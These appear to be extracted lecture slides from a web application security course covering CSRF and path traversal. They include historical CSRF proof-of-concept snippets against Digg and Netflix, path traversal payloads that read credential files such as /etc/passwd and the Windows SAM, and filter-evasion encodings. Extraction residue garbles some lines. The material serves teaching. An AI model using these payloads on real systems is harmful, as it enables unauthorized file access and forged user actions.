Cross-Site Request Forgeries (CSRF) & Path Traversal Professor Larry Heimann Web Application Security Information Systems
Lab 3 Review • Fastest crackers • Melaine Freeman • Lan Betancourt • Chris Compendio • Matthew Nielsen • Ivy Chung • Key points to remember • entropy is a measure of randomness of the token • encoding the token does not increase its entropy • less than 32 bits of entropy and brute force attacks on the token are viable • look at the token to see where entropy might be lower
A different and trickier threat - CSRF • Often referred to as ‘sleeping giant’ of vulnerabilities because • misunderstood by developers • fundamental to how the web works today • Bill Zeller summarizes CSRF well: “CSRF vulnerabilities occur when a website allows an authenticated user to perform a sensitive action but does not verify that the user herself is invoking that action. The key to understanding CSRF attacks is to recognize that websites typically don't verify that a request came from an authorized user. Instead they verify only that the request came from the browser of an authorized user. Because browsers run code sent by multiple sites, there is a danger that one site will (unbeknownst to the user) send a request to a second site, and the second site will mistakenly think that the user authorized the request.” � source: http://freedom-to-tinker.com/blog/wzeller/popular-websites-vulnerable-cross-site-request-forgery-attacks
The story that “Diggs” itself ����������������������������� ����������������������������� <iframe name="myframe" style="width:0px;height:0px;border:0px"></iframe> <script type="text/javascript"> function fillframe() { mf = window.frames["myframe"]; html = '<form name="diggform" action="http://digg.com/diginfull" method="post">'; html = html + ' <input type="hidden" name="id" value="367034"/>'; html = html + ' <input type="hidden" name="orderchange" value="2"/>'; html = html + ' <input type="hidden" name="target" value="http%3A//digg.com/"/>'; html = html + ' <input type="hidden" name="category" value="0"/>'; html = html + ' <input type="hidden" name="page" value="0"/>'; html = html + ' <input type="hidden" name="t" value="undefined"/>'; html = html + ' <input type="hidden" name="row" value="1"/>'; html = html + '</form>'; mf.document.body.innerHTML = html; mf.document.diggform.submit(); } </script> <body onload="fillframe();">
Netflix’s past vulnerabilities • Could add a movie easily to the user’s queue: <img src="http://www.netflix.com/AddToQueue?movieid=70011204"; � width="1" height="1" border="0"> • Could promote to top of user’s queue with some javascript: <html> <head> <script language="JavaScript" type="text/javascript"> function load_image2() { var img2 = new Image(); img2.src="http://www.netflix.com/MoveToTop?movieid=70023965&fromq=true"; } </script> </head> <body> <img src="http://www.netflix.com/AddToQueue?movieid=70023965"; width="1" height="1" border="0"> <script> setTimeout( 'load_image2()', 2000 ); </script> </body> </html>
Using POST a solution? Use GET if: • The interaction is more like a question (i.e., it is a safe operation such as a query, read operation, or lookup). Use POST if: • The interaction is more like an order, or • The interaction changes the state of the resource in a way that the user would perceive (e.g., a subscription to a service), or • The user is held accountable for the results of the interaction.
CSRF with POST � <a href="http://www.harmless.com/" onclick=" var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com/account/destroy'; f.submit(); return false;">To the harmless survey</a>
Protecting against CSRF • Use “secret data” only user would know • Use only POST requests in the application • Use the HTTP REFERER header to validate request source • Use single non-changing GET/POST token for entire session • Use a hashed “session- and action-specific” value • Use unique token for each request
Frameworks for CSRF protection • J2EE • CSRFGuard [http://www.owasp.org/index.php/CSRF_Guard] • PHP • csrf-magic [http://csrf.htmlpurifier.org/] • CSRFx [http://code.google.com/p/csrfx/] • .NET • CSRFGuard.NET [http://www.owasp.org/index.php/.Net_CSRF_Guard] • Viewstate* (+ ViewStateUserKey or SessionID) • Rails • Built-in CSRF protection • “Note that cross-site scripting (XSS) vulnerabilities bypass all CSRF protections .”
Path traversal • Many common functions require an application to read or write to a file system on the basis of user-supplied parameters. • If these operations are carried out in an unsafe manner, an attacker can use crafted input to access files in an unauthorized way. • Vulnerabilities are known as "path traversal", because the attacker traverses from the intended path to a di ff erent one. • May result in complete compromise of the application.
Common path traversal problem • A typical page which returns the image whose filename is passed in a request parameter: https://myapp.com/scripts/GetImage.aspx?file=diagram1.jpg • To fulfill this request, the server appends the value of the file parameter to a prefix such as C:\myapp\images\ and returns the resulting file. • An attacker can exploit the behavior using the "dot-dot-slash" traversal sequence: https://myapp.com/scripts/GetImage.aspx?file=..\..\windows\repair\sam • This causes the application to return the file: C:\winnt\repair\sam
Finding path traversal flaws • The first step is to locate every instance where file system operations are carried out with user-supplied data: • Any file upload/download functions • Any cases where a request parameters appears to contain a file or directory name • Functions whose implementation is likely to involve file system interaction, such as display of o ffi ce documents or images • Apparently innocuous parameters like lang=en which may be used to build a path to an include file
Finding path traversal flaws • If the function is performing read access, try to retrieve a known file: � If the function is performing read access, try � ../../../../../../../../../../../../etc/passwd � ../../../../../../../../../../../../boot.ini � � • If the function is performing write access, choose two files, one which ought to be writable by any user, and one which should not be writable even by administrators, for example: even by administrators, for example: ../../../../../../../../../../../../writetest.txt ../../../../../../../../../../../../windows/system32/config/sam � ../../../../../../../../../../../../tmp/writetest.txt ../../../../../../../../../../../../tmp You can also try to write a file within the web root and retrieve it using your browser. � � � � � �
Circumventing obstacles To deal with filters for the dot-dot-slash traversal sequence, try the following: � � � URL Encoding � URL-encoding: � � dot$$$$$$$$$$$$$%2e � forward$slash$$$%2f � back$slash$$$$$$%5c � 16 bit Unicode-encoding � 16 bit Unicode-encoding � dot$$$$$$$$$$$$$%u002e � forward$slash$$$%u2215 back$slash$$$$$$%u2216 � � Double URL-encoding � Double URL-encoding: � dot$$$$$$$$$$$$$%252e forward$slash$$$%252f � � back$slash$$$$$$%255c � Overlong UTF-8 Unicode-encoding � Overlong UTF-8 Unicode-encoding: dot$$$$$$$$$$$$$%c0%2e$$$$%e0%40%ae$$$$%c0ae$$$$etc. � � forward$slash$$$%c0%af$$$$%e0%80%af$$$$%c0%2f$$$etc. back$slash$$$$$$%c0%5c$$$$%c0%80%5c$$$$etc. � �
Circumventing obstacles � • Some applications check whether the user-supplied filename ends in a particular file extension. Here you can try null bytes and newlines to defeat the filter: defeat the filter: ../../../../../boot.ini%00.jpg � ../../../../../etc/passwd%0a.jpg • You can also try adding a large number of spaces (more than 260) after your � filename. The application will append its su ffi x, but the long filename may be subsequently truncated to MAXPATH (260) bytes, thus losing the added su ffi x. The superfluous whitespace after your filename will normally be ignored by filesystem APIs.
Recommend
More recommend
